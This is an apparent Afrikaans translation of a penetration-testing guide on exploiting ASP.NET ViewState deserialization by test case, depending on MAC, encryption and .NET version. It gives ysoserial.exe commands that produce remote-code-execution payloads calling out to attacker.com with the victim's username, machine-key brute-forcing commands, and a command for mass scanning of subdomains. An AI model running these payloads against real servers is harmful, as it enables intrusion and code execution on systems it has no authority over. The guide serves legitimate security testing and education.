Exploiting __VIEWSTATE without knowing the secrets

Reading time: 10 minutes

Wat is ViewState

ViewState dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback behou moet word, in base64-gecodeerde strings geserialiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.

ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul kombinasies:

• Base64:
• Hierdie formaat word gebruik wanneer beide EnableViewStateMac en ViewStateEncryptionMode eienskappe op vals gestel is.
• Base64 + MAC (Boodskapoutentikasiekode) Geaktiveer:
• Aktivering van MAC word bereik deur die EnableViewStateMac eienskap op waar te stel. Dit bied integriteitsverifikasie vir ViewState-data.
• Base64 + Geënkripteer:
• Enkripsie word toegepas wanneer die ViewStateEncryptionMode eienskap op waar gestel is, wat die vertroulikheid van ViewState-data verseker.

Toetsgevalle

Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe detailleer. Hier is 'n opsomming van die inhoud:

1. Vir enige weergawe van .NET, wanneer beide MAC en Enkripsie gedeaktiveer is, is 'n MachineKey nie nodig nie, en dus is daar geen toepaslike metode om dit te identifiseer nie.
2. Vir weergawes onder 4.5, as MAC geaktiveer is maar Enkripsie nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word verwys na as "Blacklist3r."
3. Vir weergawes onder 4.5, ongeag of MAC geaktiveer of gedeaktiveer is, as Enkripsie geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."
4. Vir weergawes 4.5 en hoër, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."

Toetsgeval: 1 – EnableViewStateMac=false en viewStateEncryptionMode=false

Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die AspNetEnforceViewStateMac registersleutel op nul te stel in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifisering van ViewState Attribuut

Jy kan probeer om te identifiseer of ViewState MAC beskerm is deur 'n versoek te vang wat hierdie parameter bevat met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit benut met YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Toetsgeval 1.5 – Soos Toetsgeval 1, maar die ViewState koekie word nie deur die bediener gestuur nie

Ontwikkelaars kan ViewState verwyder sodat dit nie deel van 'n HTTP-versoek word nie (die gebruiker sal nie hierdie koekie ontvang nie).
Mens kan aanneem dat as ViewState nie teenwoordig is nie, hul implementering veilig is teen enige potensiële kwesbaarhede wat met ViewState deserialisering ontstaan.
Dit is egter nie die geval nie. As ons ViewState parameter aan die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om kode-uitvoering te bereik soos in Geval 1 gewys.

Toetsgeval: 2 – .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false

Om ViewState MAC vir 'n spesifieke bladsy te aktiveer, moet ons die volgende veranderinge aan 'n spesifieke aspx-lêer maak:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ons kan dit ook doen vir die oorhoofse toepassing deur dit in die web.config lêer te stel soos hieronder getoon:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Aangesien die parameter MAC beskerm is, moet ons eers die sleutel wat gebruik is, hê om die aanval suksesvol uit te voer.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die sleutel te vind wat gebruik is.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is 'n ander hulpmiddel wat bekende machineKeys kan identifiseer. Dit is in Python geskryf, so anders as Blacklist3r, is daar geen Windows afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.

Dit kan of voorsien word van die viewstate en generator direk:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Of, dit kan direk met die teiken-URL verbind en probeer om die viewstate uit die HTML te sny:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Om op groot skaal na kwesbare viewstates te soek, in samewerking met subdomein-opsomming, kan die badsecrets BBOT module gebruik word:

bbot -f subdomain-enum -m badsecrets -t evil.corp

As jy gelukkig is en die sleutel gevind word, kan jy voortgaan met die aanval met behulp van YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In gevalle waar die _VIEWSTATEGENERATOR parameter nie gestuur word deur die bediener nie, hoef jy nie die --generator parameter te verskaf nie, maar hierdie:

--apppath="/" --path="/hello.aspx"

Toetsgeval: 3 – .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true

In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Dan is die waarde waarskynlik geënkripteer en jy sal die Masjien Sleutel nodig hê om jou payload te enkripteer om die kwesbaarheid te benut.

In hierdie geval is die Blacklist3r module in ontwikkeling...

Voor .NET 4.5 kan ASP.NET 'n ongeënkripteerde ___VIEWSTATE_parameter van die gebruikers aanvaar selfs as ViewStateEncryptionMode op Altijd gestel is. ASP.NET kontroleer slegs die aanwezigheid van die __VIEWSTATEENCRYPTED parameter in die versoek. As 'n mens hierdie parameter verwyder en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.

Daarom, as die aanvallers 'n manier vind om die Masjien Sleutel te verkry via 'n ander kwesbaarheid soos lêer traversering, kan die YSoSerial.Net opdrag wat in die Geval 2 gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialisering kwesbaarheid.

• Verwyder die __VIEWSTATEENCRYPTED parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC valideringsfout teruggee en die uitbuiting sal misluk.

Toetsgeval: 4 – .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe albei eienskappe op false

Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config lêer soos hieronder aan te dui.

<httpRuntime targetFramework="4.5" />

Alternatiewelik kan dit gedoen word deur die onderstaande opsie binne die machineKey parameter van die web.config-lêer te spesifiseer.

compatibilityMode="Framework45"

Soos in die vorige is die waarde geënkripteer. Dan, om 'n geldige las te stuur, het die aanvaller die sleutel nodig.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die sleutel te vind wat gebruik word:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Vir 'n meer gedetailleerde beskrywing van IISDirPath en TargetPagePath verwys hier

Of, met Badsecrets (met 'n generator waarde):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Sodra 'n geldige masjien sleutel geïdentifiseer is, is die volgende stap om 'n geserialiseerde payload te genereer met behulp van YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

As jy die waarde van __VIEWSTATEGENERATOR het, kan jy probeer om die --generator parameter met daardie waarde te gebruik en die parameters --path en --apppath te om te laat.

'n Succesvolle uitbuiting van die ViewState deserialisering kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie tipe uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron met die titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die PoC van Succesvolle Uitbuiting hersien.

Toetsgeval 6 – ViewStateUserKeys word gebruik

Die ViewStateUserKey eienskap kan gebruik word om teen 'n CSRF-aanval te verdedig. As so 'n sleutel in die toepassing gedefinieer is en ons probeer om die ViewState payload te genereer met die metodes wat tot nou toe bespreek is, sal die payload nie deur die toepassing verwerk word.
Jy moet nog een parameter gebruik om die payload korrek te skep:

--viewstateuserkey="randomstringdefinedintheserver"

Resultaat van 'n Suksesvolle Exploit

Vir al die toetsgevalle, as die ViewState YSoSerial.Net payload suksesvol werk, dan reageer die bediener met “500 Interne bediener fout” met die responsinhoud “Die staat-inligting is ongeldig vir hierdie bladsy en mag beskadig wees” en ons kry die OOB versoek.

Kontroleer vir verdere inligting hier

Verwysings

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
• https://blog.blacklanternsecurity.com/p/introducing-badsecrets